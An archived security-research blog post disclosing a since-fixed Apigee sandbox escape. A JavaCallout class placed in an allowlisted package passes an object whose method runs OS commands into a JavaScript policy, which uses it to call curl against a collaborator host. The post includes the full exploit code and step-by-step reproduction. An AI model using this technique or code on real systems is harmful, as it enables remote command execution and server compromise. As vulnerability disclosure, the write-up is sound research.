---
type: Article
title: "Unveiling Rhino’s Blind Spot: Exploiting Custom Code Execution in Apigee"
description: Apigee runs customer Java and JavaScript policies side by side. Naming a custom Java class in a package the Rhino class shutter allowlists, and handing an instance of it to a JavaScript policy through a flow variable, lets the script call a method that runs OS commands, escaping both the Java Security Manager and the Rhino sandbox.
resource: "https://codesent.io/blog/code-sentinels-1/discovering-rhinos-blind-spot-1"
tags: [article, webseclist-reference, en-GB, codesent, sandbox-escape, rce, command-injection, filter-bypass, rest-api, javascript, java, gcp, bug-bounty, owasp-a03-2021, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-10T15:07:19+00:00"
status: stable
stale_after: 2027-08-10
sources:
  - id: original
    resource: "https://codesent.io/blog/code-sentinels-1/discovering-rhinos-blind-spot-1"
    title: "Unveiling Rhino’s Blind Spot: Exploiting Custom Code Execution in Apigee"
    last_modified: 2024-08-16
also_at: []
authors: []
canonical_url: ""
cited_by:
  - "2024.md:64"
commit: ""
content_sha256: dff78c4365aea3b323e4be4439fed91d73060778fcd86f2b8b31c5b469e4a551
depth: full
depth_reason: default
kind: article
language: en-GB
licence: unknown
original_url: "https://codesent.io/blog/code-sentinels-1/discovering-rhinos-blind-spot-1"
published: 2024-08-16
publisher: CodeSent
publisher_english: ""
raw_sha256: 7de31ab31028bca7ed3b6dfa500f0647f710508814c21c2977bd95cdd396421a
retrieved_from: "https://codesent.io/blog/code-sentinels-1/discovering-rhinos-blind-spot-1"
retrieved_kind: live
retrieved_utc: "2026-08-10T15:07:19+00:00"
slug: 2024-codesent-unveiling-rhinos-blind-spot-exploiting-custom-code-apigee
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Unveiling Rhino’s Blind Spot: Exploiting Custom Code Execution in Apigee

**Unveiling Rhino’s Blind Spot: Exploiting Custom Code Execution in Apigee** - Author not stated, CodeSent.

- Published: 2024-08-16
- Original: <https://codesent.io/blog/code-sentinels-1/discovering-rhinos-blind-spot-1>
- Preserved from: https://codesent.io/blog/code-sentinels-1/discovering-rhinos-blind-spot-1 (live) on 2026-08-10
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Welcome to the first post in a series where I’ll be diving into the security research I conducted on Apigee throughout 2023. I spent a lot of time exploring the ins and outs of this platform, and my work even caught the attention of Google Bug Hunters.

![](https://codesent.io/web/image/3137-8060f72c/1710939271951.jpg?access_token=e22c0dbf-a3c6-4d82-a32b-be350e29a82a)

*Unwrapping some sweet Google swag*

Now that the vulnerabilities have been fixed, I’m excited to start sharing what I found. In this series, I’ll walk you through various security risks and how they were uncovered.

For our first topic, we’ll look at a vulnerability I’m calling **"Rhino’s Blind Spot"**. This issue is linked to Apigee’s ability to run custom JavaScript code - a feature that offers immense flexibility for developers but also introduces subtle, often overlooked security risks. When systems are designed to be this adaptable, they inevitably open doors to both innovation and potential exploitation. Understanding these hidden risks is crucial for building more secure systems, and this vulnerability perfectly illustrates how complex and layered such threats can be.

**Rhino’s Blind Spot** was a big challenge to uncover, and it sets the stage for the kind of deep-dive analysis you can expect in this series.

### What is Apigee?

 Apigee is a comprehensive API management platform developed by Google that enables businesses to design, secure, deploy, and analyse APIs across multi-cloud environments. It plays a pivotal role in modern application architectures, allowing organizations to expose their services and data to external and internal developers in a controlled and scalable manner.

Apigee offers a wide array of features, including API proxies, developer portals, advanced analytics, and robust security measures. These tools not only help in managing the lifecycle of APIs but also ensure they perform efficiently while maintaining high standards of security and compliance. By bridging the gap between backend services and client applications, Apigee helps businesses accelerate their digital transformation and API-first strategies.

 For more information about Apigee, you can visit [Google Cloud’s official page](https://cloud.google.com/apigee) or explore their [documentation](https://cloud.google.com/apigee/docs) for a deeper dive into its features and capabilities.

### The Power and Risks of Custom Code Execution in Apigee

Apigee is widely recognized for its comprehensive suite of API management tools, which cater to a broad spectrum of needs in the API lifecycle - from basic request and response handling to more sophisticated features like custom code execution. These capabilities make Apigee an indispensable tool for organizations looking to streamline and secure their API operations.

At the core of Apigee’s functionality are its task-specific policies, such as **ExtractVariables**, **AssignMessage**, **AccessControl**, and **RaiseFault**. These policies are designed to address a wide array of common API management tasks, including extracting data from requests, transforming messages, controlling access based on a client IP, and generating custom error responses. These built-in policies cover most standard use cases and are integral to managing API traffic efficiently and securely. They act as the building blocks for creating robust API proxies that handle client requests and backend responses in a reliable, predictable manner.

However, as organizations continue to evolve and scale, they often encounter scenarios where these standard policies alone are insufficient to meet their unique business requirements. This is particularly true in complex environments where specific logic or custom integrations are needed - something that cannot be achieved through the predefined functionalities of the task-specific policies.

---

To address more complex scenarios, Apigee offers the ability to execute custom code within API proxies through its support for **JavaScript**, **JavaCallout**, and **PythonScript** policies. These policies provide a powerful mechanism for developers to inject their own logic into the API flow, enabling them to extend the platform's capabilities far beyond its default offerings. For example, with custom scripts, developers can perform intricate data transformations, interact with external services in ways that are not natively supported, or implement custom security checks tailored to their specific needs.

- **JavaScript **policy allows you to run custom JavaScript within the API proxy flow. It’s ideal for situations where you need to manipulate data on the fly, make complex decisions, or perform custom transformations that standard policies can’t handle.
- If you prefer the reliability of Java, **JavaCallout **policy is your go-to. It lets you execute custom Java code within the proxy, tapping into the vast array of Java libraries and frameworks. which is great for more complex or performance-intensive tasks.
-  For those who favour Python’s simplicity, the **PythonScript **policy allows for rapid development and integration of Python scripts into the API flow.

Take a look at the the following excample, where the JavaScript policy is used to modify a JSON response before it is returned to the client. This is useful when you need to add, remove, or transform data in the response payload dynamically.

```javascript

var responseContent = JSON.parse(context.getVariable('response.content'));

responseContent.newField = "This is a new field";

if (responseContent.existingField) {
    responseContent.existingField = "Updated value";
}

delete responseContent.unwantedField;

context.setVariable('response.content', JSON.stringify(responseContent));
```

While these custom code execution features greatly enhance Apigee’s flexibility and power, they also introduce significant security risks. Allowing custom code to run opens up the potential for security vulnerabilities, especially if the code is not thoroughly vetted or if the execution environment is not properly sandboxed. So, if an attacker manages to inject malicious code into the custom script, they could potentially gain control over the server running the Apigee instance. This could lead to unauthorized data access, data manipulation, or even a **complete system compromise**.

---

 In order to prevent malicious code from being executed, **JavaCallout **and **PythonScript **policies in Apigee are configured to use the Java Security Manager and Java Permissions. Every time a piece of code is executed, the Java Security Manager checks for potentially harmful actions - like binding listeners, accessing the filesystem, etc. - and prevents them if they violate the established permissions (more details about permissions can be found [in the official documentation](https://cloud.google.com/apigee/docs/api-platform/reference/java-permission-reference)).

However, the sandbox mechanism for **JavaScript **code is entirely different and relies on the **Rhino engine**, a JavaScript implementation written in Java.

### Unpacking How JavaScript is Executed in Apigee

Let’s take a closer look at how JavaScript is executed in Apigee. The platform uses the [Rhino JavaScript engine](https://github.com/mozilla/rhino), a powerful tool that allows JavaScript to be embedded within Java applications.

Here’s a simplified example of how JavaScript can be executed in Rhino:

```javascript
import org.mozilla.javascript.Context;
import org.mozilla.javascript.Scriptable;

public class RhinoExample {
   public static void main(String[] args) {

      Context ctx = Context.enter();
      try {

         Scriptable scope = ctx.initStandardObjects();

         String script = "function sum(a, b) { return a + b; } sum(10, 20);";

         Object result = ctx.evaluateString(scope, script, …);

         System.out.println("Result of the JavaScript code: " + Context.toString(result));
      } finally {

         Context.exit();
      }
   }
}
```

In this snippet Rhino starts by creating a new execution context. The context initializes a standard scope, which is essentially the environment where the JavaScript code executes. The JavaScript code (in this case, a simple sum function) is evaluated within this scope, and the result is printed out.

While this example appears straightforward, it’s far from how JavaScript operates within Apigee. Developers craft custom scripts for API proxies to manage traffic and apply dynamic logic. This flexibility effectively turns the code into user input, introducing potential code execution vulnerabilities - without robust sandboxing, malicious scripts could exploit this capability. Of course, Apigee team has implemented sandboxing to mitigate these risks - and here’s how it works.

#### Sandboxing: ClassShutter

To mitigate the risks of running untrusted JavaScript code, Rhino provides and Apigee employs key security mechanism: the [ClassShutter](https://github.com/mozilla/rhino/blob/master/rhino/src/main/java/org/mozilla/javascript/ClassShutter.java)** **interface.

ClassShutter controls which Java classes are exposed to the JavaScript engine. It essentially acts as a gatekeeper, allowing only certain classes to be accessed by JavaScript code. This helps to reduce the attack surface by preventing unauthorized access to sensitive parts of the Java API.

Here’s how Apigee implements the ClassShutter mechanism to restrict Java class access in the JavaScript execution environment:

```java
static Set<String> allowedClasses = new HashSet<>();
static Set<String> allowedPackages = new HashSet<>();

static {
  allowedClasses.add("java.lang.Object");
  allowedClasses.add("java.lang.String");
  allowedPackages.add("com.apigee.javascript.generated");
  allowedPackages.add("com.apigee.javascript.om.");
}

public JSContext(ContextFactory factory) {
  setClassShutter(new ClassShutter() {
    public boolean visibleToScripts(String className) {
      if (!allowedClasses.contains(className)) {
        for (String p : allowedPackages) {
          if (className.startsWith(p)) {
            return true;
          }
        }
        return false;
      }
      return true;
    }
  });
}
```

- In the static block `allowedClasses`** **initialized with a list of Java classes that are deemed safe to expose to JavaScript. It includes fundamentals like** **`java.lang.Object`, `java.lang.String` and few more. At the same time, `allowedPackages`** **initialized with a list of package names. Any class within these packages is allowed to be accessed from JavaScript. This adds a layer of granularity, allowing entire packages rather than individual classes.

- In the `JSContext`** **constructor `setClassShutter`** **is called with an anonymous implementation of the `ClassShutter`** **interface. This method is invoked every time a class is accessed from JavaScript, and it determines whether the class is visible to the script by invoking `visibleToScripts`.

- `visibleToScripts`** **takes the name of the class being accessed as a parameter and first checks if the class name is in the `allowedClasses`** **set. If it's not found, it iterates through the `allowedPackages`** **set. If the class name starts with any of the package names in `allowedPackages`, it returns `true`, allowing access. If it doesn't match any allowed class or package, it returns `false`, blocking the access.

 These safeguards might seem airtight, but what if the vulnerability isn’t in how classes are checked - but in who defines them? Remember, that through **JavaCallout** policy, developers can introduce custom Java code, and how they name their package is entirely up to them. See where this is going? The very mechanism designed to restrict access can be subtly bypassed by blending in. But let’s not get ahead of ourselves - let’s break this down step by step.

### Exploiting the Blind Spot: Combining JavaCallout and JavaScript

 The foundation of this exploit lies in how Apigee manages custom code execution across different policies - specifically when combining **JavaCallout** and **JavaScript**. Despite Apigee’s security measures that are applied - Java Security Manager for **JavaCallout** and Rhino sandboxing for **JavaScript - **objects can still flow freely between these policies via [flow variables](https://cloud.google.com/apigee/docs/api-platform/fundamentals/introduction-flow-variables). This cross-policy interaction creates an unexpected path to bypass sandbox restrictions.

#### Step 0: Testing the ClassShutter Mechanism

 Before exploiting this gap, I tested how Apigee’s **ClassShutter** restricts JavaScript access to sensitive Java classes:

```javascript

try {
  var systemClass = Packages.java.lang.System;
  print(systemClass.getProperty("os.name"));
} catch (e) {
  print("Access is restricted: " + e.message);
}

```

 Ideally, this script should trigger an error, blocking access to `java.lang.System` as it's not in the `allowedPackages` list.

![](https://codesent.io/web/image/3170-6a34f7ce/classshutter-test.png?access_token=75a7a418-5923-4344-9b21-dd97b3f8acbb)

*ClassShutter confirmed!*

 But this test only scratches the surface - so far, we haven’t introduced any native Java code. Let’s change that.

#### Step 1: Creating a Custom Java Class

The first step in exploiting this blind spot is to create and deploy a **JavaCallout **policy within Apigee API proxy. As I already said, this policy allows you to run custom Java code, and it’s here that we’ll introduce our custom Java class designed to exploit the system.

 In the JavaCallout policy configuration, the key part is the `ClassName`, which we control entirely:

```xml
<JavaCallout name="ExecuteCustomJava">
  <ResourceURL>java://app-1.0-SNAPSHOT.jar</ResourceURL>
  <ClassName>com.apigee.javascript.generated.Main</ClassName>
</JavaCallout>
```

 By defining the class as `com.apigee.javascript.generated.Main`, we intentionally align it with the `allowedPackages`, exploiting the trust given to this namespace!

Now it’s just a matter of crafting the malicious payload within the custom Java class.

```java
package com.apigee.javascript.generated;

import com.apigee.flow.execution.ExecutionContext;
import com.apigee.flow.execution.ExecutionResult;
import com.apigee.flow.execution.spi.Execution;
import com.apigee.flow.message.MessageContext;

public class Main implements Execution {

  public void run(String execString) throws Exception  {
    Runtime.getRuntime().exec(execString);
  }

  public ExecutionResult execute(MessageContext messageContext, ExecutionContext executionContext) {
    try {
      messageContext.setVariable("rceObject", new Main());
      return ExecutionResult.SUCCESS;
    } catch (Exception e) {
      return ExecutionResult.ABORT;
    }
  }
}
```

This Java class does two key things: the `execute`** **method, which is triggered by the JavaCallout policy, creates an instance of the `Main` class and stores it in the message context under the name `rceObject`**, **and** **the `run` method executes any command passed to it, simply allowing the execution of arbitrary system commands.

 If I were to run commands directly within the **JavaCallout** policy, it would indeed be blocked by the JVM, thanks to the configured Java Permissions. However, nothing prevents us from storing this object as a flow variable to pass it into a JavaScript policy! Once in the JavaScript policy, the command can be executed, effectively bypassing the security restrictions that would normally apply in the Java environment.

#### Step 2: Creating a JavaScript policy

 With the malicious `rceObject` stored in the message context, the next step is straightforward - create a **JavaScript** policy to retrieve and trigger it.

```xml
<JavaScript name="ExecuteCommand">
  <ResourceURL>jsc://JS-1.js</ResourceURL>
</JavaScript>
```

In this configuration the `ResourceURL` points to the JavaScript file (`JS-1.js`) that contains the code to execute the command stored in the `rceObject`.

```javascript

var command = "curl http://<BURP_COLLABORATOR_URL>";

var rceObject = context.getVariable("rceObject");

rceObject.run(command);
```

 By defining a system command and passing it to the `rceObject`, the **JavaScript **policy seamlessly executes arbitrary OS commands. ClassShutter? It would allow such access because rceObject comes from `com.apigee.javascript.generated`!

What if we deploy such proxy and call it? We would catch the request issued by `curl`!

![](https://codesent.io/web/image/3135-d45d8375/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=5490c06d-027b-437c-81d9-8f3cc8e42181)

Want to try this exploit? Feel free to follow next steps!

#### Step 3: Preparing and Deploying the Exploit

Once both the JavaCallout and JavaScript policies are in place, it’s time to deploy the API proxy and execute the exploit.

##### Prerequisites

Before deploying the proxy, ensure that your development environment is correctly configured.

I suggest you use WSL2. All commands you will see here are executed in WSL2 environment. If you don’t have WSL2 installed on your system, follow the [Microsoft official guide](https://learn.microsoft.com/en-us/windows/wsl/install). For me, I prefer to use Ubuntu as an operation system for WSL2.

Make sure that you have you have the following software installed in your Ubuntu WSL:

- [OpenJDK-17](https://linuxcapable.com/how-to-install-openjdk-17-on-ubuntu-linux/)

- [Maven](https://www.digitalocean.com/community/tutorials/install-maven-linux-ubuntu)
- [Docker](https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository)

I also suggest to use VS Code editor since it’s free and supports WSL. So make sure that you have you have the following extensions installed in VS Code:

- [WSL](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl)
- [Extension Pack for Java](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-pack)
- [Google Cloud Code](https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.cloudcode)

##### Setting Up the Apigee Environment

First of all, we need to setup a proper Apigee development environment

- Start Docker
`sudo service docker start`
- Create a new directory and switch into it
`mkdir 01-apigee-rhino && cd 01-apigee-rhino`
- Run VS Code in the current directory`
code .
`
- In the VS Code window run Create Apigee workspace command and create single workspace with any name you like in the current directory
![](https://codesent.io/web/image/3119-51ebbef4/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=cbb40b22-08cd-40f5-8df5-50aecfdedd81)
- After the VS Code restarted, go to the Settings and add Apigee Emulator v 1.8.1 to the list of emulators
![](https://codesent.io/web/image/3121-03cef7ed/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=5841e16d-a010-44f9-9ed8-fde3e7edb01d)
- Setup the [Apigee Emulator](https://cloud.google.com/apigee/docs/api-platform/local-development/vscode/manage-apigee-emulator) by clicking on the button near the emulator’s name. Choose a name you like for the container (for ex. emul-1.8.1) and make sure that ports you are going to choose are free
![](https://codesent.io/web/image/3120-fc441bb2/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=faf1064d-911c-44d9-87ad-06ea9c926f96)
- If everything is correct, you should see that container is ready
![](https://codesent.io/web/image/3122-ecff7b7b/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=1e974f25-2f44-447f-bcb1-8c15e9324688)

##### Setting Up the Java Environment

In order to create JAR file for JavaCallout policy, we need to have proper Java development environment.

- Run one more instance of the VS Code`
code .`
- In the VS Code window run Create Java Project command and create basic maven project with `com.apigee.javascript.generated` group id and any artifact id you like in the current directory
![](https://codesent.io/web/image/3124-b5b12920/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=1e50bb42-48d6-42eb-9a08-988566ad879a)
- So that your directory would have the structure similar to one on the picture: Apigee proxy code will be stored in `apigee_workspace` and JavaCallout policy code will be stored in `java_project` (names may be different)
![](https://codesent.io/web/image/3123-044ae657/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=0ad1a398-956b-4655-86eb-6aad526421b8)
- Navigate to the Java project directory
`cd java_project`
- Download and execute build-setup script
`curl -sSL https://github.com/apigee/api-platform-samples/raw/master/doc-samples/java-hello/buildsetup.sh | bash`
- Add the following dependencies to pom.xml

```xml
 <dependencies>
  <dependency>
   <groupId>com.apigee.edge</groupId>
   <artifactId>message-flow</artifactId>
   <version>1.0.0</version>
  </dependency>
  <dependency>
   <groupId>com.apigee.edge</groupId>
   <artifactId>expressions</artifactId>
   <version>1.0.0</version>
  </dependency>
 </dependencies>
```

- Set the following properties in pom.xml

```xml
<properties>
  <maven.compiler.source>1.7</maven.compiler.source>
  <maven.compiler.target>1.7</maven.compiler.target>
 </properties>
```

In order to create JAR file for JavaCallout policy, we need to have proper Java development environment.

##### Bulding the JAR

```java

package com.apigee.javascript.generated;

import com.apigee.flow.execution.ExecutionContext;
import com.apigee.flow.execution.ExecutionResult;
import com.apigee.flow.execution.spi.Execution;
import com.apigee.flow.message.MessageContext;

public class Main implements Execution {

  public void run(String execString) throws Exception  {
    Runtime.getRuntime().exec(execString);
  }

  public ExecutionResult execute(MessageContext messageContext, ExecutionContext executionContext) {
    try {
      messageContext.setVariable("rceObject", new Main());
      return ExecutionResult.SUCCESS;
    } catch (Exception e) {
      return ExecutionResult.ABORT;
    }
  }
}
```

- Open VS Code and navigate to the **Main.java**
- Make your **Main **class implementing Apigee’s **Execution **interface
- Add **run **method, which accepts OS system commands as string and executes them
- Implement **execute **method, which accepts **messageContext **and **executionContext**, creates new **Main **object and stores it into the message context as **rceObject **flow variable – this is a way to obtain object in JavaScript policy later
- Compile java code by running `mvn clean package` in the java project directory
- Compiled **jar **file should be in target directory
![](https://codesent.io/web/image/3125-8daf5d82/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=f431eb04-97be-4a9d-93b7-8790f6ddc221)

Now it’s time to create an Apigee API proxy!

##### Building a Proxy

- Open Apigee project directory in the VS Code`
code apigee_workspace/`
- Choose Google Cloude Code from the left pane and expand Apigee section
- Expand** Local development** and click on the** +** button on `apiproxies`** **tree to add new **Echo request **proxy. The proxy should appear under `apiproxies`** **tree
![](https://codesent.io/web/image/3134-2f6babca/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=8ea05ce1-c1fc-415d-836f-3ffca1f34235)
- From now on you can add policies and resources to the proxy by clicking on the **+** button near the proxy's name
![](https://codesent.io/web/image/3129-4148a5e9/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=3d84dfd5-dd5b-450a-90cd-40f6e85c2884)
- Add two policies to the proxy: **JavaScript **from an external source and Java (both policies located in **Extension **section)
![](https://codesent.io/web/image/3127-1500e111/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=dbd336d0-9c24-4159-a347-77027dbbf6ca)
- For some reason it’s not possible to create a resource for Java policy via the Cloud Code extension, so we will do it manually – switch to the **Explorer **on the left pane and create java directory under resource folder manually
![](https://codesent.io/web/image/3131-835ff883/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=54689a13-812d-43fc-ab41-5098387da5df)
- Copy compiled JAR file to the java resources directory
`cp ../java_project/target/<COMPILED_JAVA>.jar src/main/apigee/apiproxies/<PROXY>/apiproxy/resources/java/`
- Switch back to the Google Cloud Code extension and create JavaScript resource to store JavaScript policy code
![](https://codesent.io/web/image/3136-3250bd86/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=6395d44c-5dd7-402a-b3e2-6bd2f7b919f3)
- We need just a few lines of JavaScript code as a proof-of-concept – we will use curl OS command to issue http request

```javascript

var command = "curl http://<BURP_COLLABORATOR_URL>";
var rceObject = context.getVariable("rceObject");
rceObject.run(command);
```

##### Deploying the Proxy

If every step is followed you can deploy your proxy.

- Click on the + button on environment tree and create an environment
![](https://codesent.io/web/image/3126-a15c6dd7/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=71f0ff07-9738-47b8-8bcc-7e964c2db276)
- Expand the environment and click on the cog icon on deployments.json
![](https://codesent.io/web/image/3128-483a1750/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=14553f6e-6a88-4174-b5ea-7a1651776394)
- Pick your proxy and click OK
![](https://codesent.io/web/image/3133-cdfb7eff/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=ee2db210-3fde-4f9e-b095-9ee4deeb1646)
- Click on the globe icon to deploy your proxy
![](https://codesent.io/web/image/3130-7eb584c8/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=2541609a-e79c-4894-93ec-1dd1bd00b782)
- Check the output (ctrl+shift+U) for any errors
![](https://codesent.io/web/image/3132-91b0fde8/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=f6e10666-af19-4d34-903a-0b4a6fbb3509)

#### Step 5: Run!

All you need to do to run the exploit is to send a request to the proxy** - localhost:8998/echo**. You can do this from a browser or any http client.

After the request is sent to the proxy, you can catch curl request that is issued by the exploit.

![](https://codesent.io/web/image/3135-d45d8375/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?access_token=5490c06d-027b-437c-81d9-8f3cc8e42181)

 The successful execution of this exploit demonstrates a significant security vulnerability in Apigee’s handling of custom code execution. By combining different policy types, an attacker can bypass intended security controls and execute arbitrary commands on the Apigee server!

This exploit could lead to:

- **System Compromise:** the attacker gaining control over the server running the Apigee proxy.
- **Data Exfiltration**: sensitive data being accessed or exfiltrated through the execution of unauthorized commands.
- **Further Attacks:** the compromised proxy being used as a foothold for launching additional attacks against other systems.

### Final Thoughts

This vulnerability not only underscores the importance of understanding how different components within an API management platform interact but also highlights the potential risks that arise from the interplay between these components. The ability to bypass intended security mechanisms, such as ClassShutter, by exploiting cross-policy data sharing and custom code execution, reveals a critical blind spot that can exist even in well-designed systems.
